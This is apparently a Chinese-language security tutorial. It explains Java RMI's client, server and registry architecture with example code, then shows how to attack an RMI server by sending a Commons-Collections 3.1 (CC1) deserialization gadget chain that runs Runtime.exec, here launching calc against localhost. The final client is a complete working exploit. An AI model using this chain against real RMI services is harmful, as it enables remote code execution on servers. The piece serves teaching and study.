概念
RMI机制即Java远程方法调用（Java Remote Method Invocation），在Java语言中，一种用于实现远程过程调用的应用程序编程接口。它使得客户端上运行的程序可以远程调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。
RMI机制架构共分为三部分：
- Client客户端
- Server服务端
- Registry注册表（类似网关）
RMI通信模型
下图为RMI通信流程图：
其中Client客户端包括三个部分：
- Stub（存根/桩）：远程对象在客户端上的代理
- Reference Layer（引用层）：解析并执行远程引用协议
- Transport Layer（传送层）：发送调用、传递远程方法参数，接收远程方法执行结果
Server服务端也包括三个部分：
- Skeleton（骨架）：读取客户端传递的方法参数，调用实际对象方法并在执行后返回执行结果
- Reference Layer（引用层）：处理远程引用后向Skeleton发送远程方法调用
- Transport Layer（传送层）：监听端口并转发调用请求至引用层
RMI通信过程如上图，大概分为如下几个步骤：
- Client客户端首先向Registry发送请求，通过服务名查找对应服务，Registry返回Stub远程代理对象
- Client想要通过Stub远程代理对象调用其方法
- 将Stub方法交给Reference Layer引用层创建RemoteCall远程调用对象
- Transport Layer传输层序列化RemoteCall远程调用对象并序列化发送给Server的传输层
- Server服务端传输层接收RemoteCall远程调用对象，经过反序列化和引用层处理后交给Skeleton骨架进行处理
- Skeleton骨架通过Client客户端传递的方法参数，调用实际对象方法并执行返回结果
- 执行结果经过引用层序列化后通过传输层传回
代码实现
定义远程接口
package com.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface HelloInterface extends Remote {
String Hello(String name) throws RemoteException;
Object Hi(Object object) throws RemoteException;
}
定义一个接口HelloInterface，其中方法抛出RemoteException异常，需要注意的是具备远程调用的接口需要继承Remote接口，该接口是一个空接口，只作为RMI标识接口！
实现远程接口类
package com.rmi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImp extends UnicastRemoteObject implements HelloInterface {
public HelloImp() throws RemoteException {
super();
}
@Override
public String Hello(String name) throws RemoteException {
return "Hello " + name;
}
@Override
public Object Hi(Object object) throws RemoteException {
return object;
}
}
定义HelloInterface实现类HelloImp，该类需要继承UnicastRemoteObject 类（该类提供了很多支持RMI的方法，这些方法用于生成Stub对象以及生成Skeleton），之后写入构造函数以及接口类即可。
实现Server服务端
package com.rmi;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) {
try {
HelloImp helloImp = new HelloImp();
Registry registry = LocateRegistry.createRegistry(2333);
// registry.bind("hello", helloImp);
Naming.bind("rmi://localhost:2333/hello", helloImp);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Server服务端这块，首先需要创建远程调用方法（也叫服务），之后注册一个端口，并通过上述两种方法其中一种将远程调用方法（服务）与注册表中的Naming绑定在一起。
实现Cilent客户端
package com.rmi;
import java.rmi.Naming;
public class RmiClient {
public static void main(String[] args) throws Exception {
try {
HelloInterface lookup = (HelloInterface) Naming.lookup("rmi://localhost:2333/hello");
System.out.println(lookup.Hello("ggbond"));
} catch (Exception e) {
e.printStackTrace();
}
}
}
客户端这边首先通过Naming.lookup请求Stub对象，之后便可以直接调用远程接口方法了
我们现在首先运行Server服务端，之后运行Cilent端，执行结果如下：
利用RMI进行反序列化攻击
才开始的RMI通信中说到，在进行对象传输时会进行序列化和反序列化的操作，那么如果服务端中有下边这样一个类
package com.rmi;
import java.io.Serializable;
import java.util.Date;
public class User implements Serializable {
private void writeObject(java.io.ObjectOutputStream stream) throws Exception {
stream.defaultWriteObject();
Thread.sleep(1000);
System.out.println(new Date() + "成功进行了序列化！");
}
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Thread.sleep(1000);
System.out.println(new Date() + "成功进行了反序列化！");
}
}
那么当我们通过RMI通信将上方的User类进行传输时，无论是在Server端还是在Client端都会进行序列化和反序列化操作，我们修改Client端代码如下：
package com.rmi;
import java.rmi.Naming;
public class RmiClient {
public static void main(String[] args) throws Exception {
try {
HelloInterface lookup = (HelloInterface) Naming.lookup("rmi://localhost:2333/hello");
System.out.println(lookup.Hello("ggbond"));
lookup.Hi(new User());
} catch (Exception e) {
e.printStackTrace();
}
}
}
对比之前的代码只加了1句话lookup.Hi(new User());，通过Hi接口方法进行传输User对象
然后我们依次运行Server服务端和Client客户端代码，结果如下：
这里我故意通过Thread.sleep(1000)做了1秒的延时，可以更加直观具体的查看两端序列化的先后顺序
- Cilent客户端先将User对象进行序列化并传输给Server服务端
- Server服务端将传输过来的数据进行反序列化获取User对象
- 调用对象方法后再将数据（其中包括User对象）进行序列化并返回
- Client接收数据后再进行反序列化获取
既然再这个过程中可以进行了反序列化操作，我们就可以利用RMI进行反序列化攻击，如果服务端引入了commons-collections-3.1，我们就可以通过修改Client端的代码（将cc1攻击链写入即可）进行攻击，修改如下：
package com.rmi;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class RmiClient {
public static void main(String[] args) throws Exception {
try {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
Map map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o = declaredConstructor.newInstance(Override.class, map);
HelloInterface lookup = (HelloInterface) Naming.lookup("rmi://localhost:2333/hello");
System.out.println(lookup.Hello("ggbond"));
lookup.Hi(o);
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行Client端代码，成功实现攻击！
